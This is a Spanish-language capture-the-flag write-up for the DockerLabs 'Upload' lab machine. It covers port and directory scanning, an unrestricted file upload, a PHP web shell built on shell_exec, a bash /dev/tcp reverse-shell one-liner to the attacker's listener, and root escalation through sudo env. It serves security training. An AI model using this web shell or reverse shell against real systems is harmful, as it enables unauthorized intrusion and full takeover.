> For the complete documentation index, see [llms.txt](https://wolder-hackverse.gitbook.io/wolders-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wolder-hackverse.gitbook.io/wolders-docs/writeups/dockerlabs/easy/upload.md).

# Upload

\- Tags: #upload, #reverseshell, #scriptphp

**Dificultad: Fácil**

## WriteUP

### Fase 1: Reconocimiento

Empezamos escaneando todos los puertos:

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG nmap/escaneo.txt
```

```bash
extractPorts escaneo.txt
```

<div align="left"><figure><img src="https://3540220399-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwUobKpj2B55z0gqDKKkm%2Fuploads%2FPyVnpVXEz19yg1dTfHth%2FPasted%20image%2020250117084552.png?alt=media&amp;token=134ecc4d-0bcf-4aa1-b46b-ab694a2c5bf0" alt=""><figcaption></figcaption></figure></div>

Vemos que tiene el puerto 80 abierto Con lo cual escaneamos el puerto

```bash
sudo nmap -p80 -sCV 172.17.0.2 -oN targeted
```

<div align="left"><figure><img src="https://3540220399-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwUobKpj2B55z0gqDKKkm%2Fuploads%2FeZZS74P1D8w6IElEFcGQ%2FPasted%20image%2020250117084756.png?alt=media&amp;token=27d45eea-ad6e-42ab-8642-d7d671618a4d" alt=""><figcaption></figcaption></figure></div>

Obtendremos varia información que podremos buscar por el nombre de paquete haber que versión de linux/ubuntu esta corriendo:

Buscando launchpad httpd 2.4.52 en google encontramos esto:

<div align="left"><figure><img src="https://3540220399-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwUobKpj2B55z0gqDKKkm%2Fuploads%2FMAfXcrxoo12anf5VLfPZ%2FPasted%20image%2020250117084914.png?alt=media&amp;token=04241d69-d171-44d7-9e83-bf8694af64aa" alt=""><figcaption><p>Nos enfrentamos a un (Ubuntu Jammy 22.0.4)</p></figcaption></figure></div>

### Fase 2: Enumeración de la web

Hacemos un escaneo de directorios mas populares dentro de la web con gobuster:

```bash
sudo gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img -t 200 -fc 500


===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Cookies:                 500
[+] User Agent:              gobuster/3.6
[+] Extensions:              img,php,doc,html,txt
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php/                (Status: 403) [Size: 275]
/icons/               (Status: 403) [Size: 275]
/uploads/             (Status: 200) [Size: 1371]
/upload.php/          (Status: 200) [Size: 1358]
/.html/               (Status: 403) [Size: 275]
```

En el escaneo detectamos que hay un archivo upload.php y una carpeta de uploads

### Fase 3 : Exploración de rutas

Archivo upload.php:

<div align="left"><figure><img src="https://3540220399-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwUobKpj2B55z0gqDKKkm%2Fuploads%2Fhciyb4jVSDYLrGDDDiO0%2FPasted%20image%2020250117085514.png?alt=media&amp;token=eaec5155-8176-4a23-a897-245da4b761d0" alt=""><figcaption></figcaption></figure></div>

Carpeta uploads:

<div align="left"><figure><img src="https://3540220399-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwUobKpj2B55z0gqDKKkm%2Fuploads%2Fr7CoEVHf8MDcGZxwVBx8%2FPasted%20image%2020250117085616.png?alt=media&amp;token=d20558bd-7a1f-4661-bece-dfa87347b631" alt=""><figcaption></figcaption></figure></div>

Podemos subir un archivo php de ejemplo para detectar si el sistema interpreta php

```bash
<?php echo "Hola"; ?>
```

Subimos el archivo en la web, accedemos al directorio de uploads y verificamos que nos muestra hola en la web, si nos lo mostrará es que el servidor interpreta php

<div align="left"><figure><img src="https://3540220399-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwUobKpj2B55z0gqDKKkm%2Fuploads%2FPPhOBXQKW41DOBPqzAlG%2FPasted%20image%2020250117085747.png?alt=media&amp;token=ce668a7b-7a3f-4fe2-8006-d067db1e57c1" alt=""><figcaption></figcaption></figure></div>

En este caso si , entonces ya podemos ir con la siguiente fase

### Fase 4: Intrusión

Preparamos un archivito Donde podremos ejecutar comandos dentro de la máquina victima

```bash
<?php
    echo "<pre>" . shell_exec($_REQUEST['parameter']) . "</pre>";
?>
```

<div align="left"><figure><img src="https://3540220399-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwUobKpj2B55z0gqDKKkm%2Fuploads%2FpzuwSF2uyytCMUc59skF%2FPasted%20image%2020250117134940.png?alt=media&amp;token=a81340db-ef0e-4c0b-8e1b-1644bf7b1751" alt=""><figcaption></figcaption></figure></div>

Con este fichero PHP podemos enviarnos una reverse Shell a nuestra terminal para acabar obteniendo el control del sistema A continuación voy a mostrar como se hace:

Subimos el fichero parameter.php en la web:

<div align="left"><figure><img src="https://3540220399-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwUobKpj2B55z0gqDKKkm%2Fuploads%2FhQWJnjjRh05XBZLahx8F%2FPasted%20image%2020250117135411.png?alt=media&amp;token=b57d3528-2dee-4558-8434-c9e7da57660d" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://3540220399-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwUobKpj2B55z0gqDKKkm%2Fuploads%2FzzUbNbOTO34JKv91xiLz%2FPasted%20image%2020250117135429.png?alt=media&amp;token=a0d640f4-8f62-431d-ba17-b318ce60b8e5" alt=""><figcaption></figcaption></figure>

Vamos al directorio de uploads

<div align="left"><figure><img src="https://3540220399-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwUobKpj2B55z0gqDKKkm%2Fuploads%2FGuKEcgBpG8jAt4f8teK0%2FPasted%20image%2020250117135445.png?alt=media&amp;token=d6788f66-1f4d-40ce-a926-bd514c1a4556" alt=""><figcaption></figcaption></figure></div>

Nos ponemos en escucha en el puerto 4321 (podría ser el puerto 5012 también o el que sea) .

<div align="left"><figure><img src="https://3540220399-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwUobKpj2B55z0gqDKKkm%2Fuploads%2F2fq0sNbxIlBtAuIbjtAt%2FPasted%20image%2020250117135506.png?alt=media&amp;token=0655fbcc-a887-4b12-9289-49f0f1754049" alt=""><figcaption></figcaption></figure></div>

tenemos que poner esto en la web para que nos envié la shell a nuestra terminal que esta en escucha por el puerto 4321

<figure><img src="https://3540220399-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwUobKpj2B55z0gqDKKkm%2Fuploads%2F4Nv16cUPNVLKiJi6Grhe%2FPasted%20image%2020250117135559.png?alt=media&amp;token=2805a0e0-8547-496f-9ab8-f519d28073a8" alt=""><figcaption></figcaption></figure>

```bash
http://172.17.0.2/parameter.php?parameter=bash -c "bash -i >%26 /dev/tcp/172.17.0.1/4321 0>%261"
```

<figure><img src="https://3540220399-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwUobKpj2B55z0gqDKKkm%2Fuploads%2FaZzVArvj7YZ9SNFkQJqv%2FPasted%20image%2020250117135759.png?alt=media&amp;token=6bd901ab-3498-41ae-b9c8-61df6968f679" alt=""><figcaption></figcaption></figure>

### Fase 5: Explotación del sistema

Buscamos capacidades de sudo y encontramos esto:

```
sudo -l 
```

<figure><img src="https://3540220399-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwUobKpj2B55z0gqDKKkm%2Fuploads%2Fc9qWnKCwB29O4mtuzxcm%2FPasted%20image%2020250117135811.png?alt=media&amp;token=04f9d09c-bec3-4cec-a66e-107750bae2c6" alt=""><figcaption></figcaption></figure>

### Fase 6: Escalada de privilegios

Vemos que tiene habilitado poder ejecutar env en modo root Si vamos a <https://gtfobins.github.io> y buscamos env encontraremos esta información:

<figure><img src="https://3540220399-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwUobKpj2B55z0gqDKKkm%2Fuploads%2FF70YXGwvNwGOmC7enw4V%2FPasted%20image%2020250117135913.png?alt=media&amp;token=ef2ddb1e-690f-4c92-9ab7-bc4a0c369a0f" alt=""><figcaption></figcaption></figure>

Exactamente ponemos lo mismo que nos sale:

<div align="left"><figure><img src="https://3540220399-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwUobKpj2B55z0gqDKKkm%2Fuploads%2F4o28T5RRV2bD8cQrWork%2FPasted%20image%2020250117140009.png?alt=media&amp;token=a8e8ec35-0b80-43eb-93fd-57c79aed29fe" alt=""><figcaption></figcaption></figure></div>

Y con esto ya somos root.
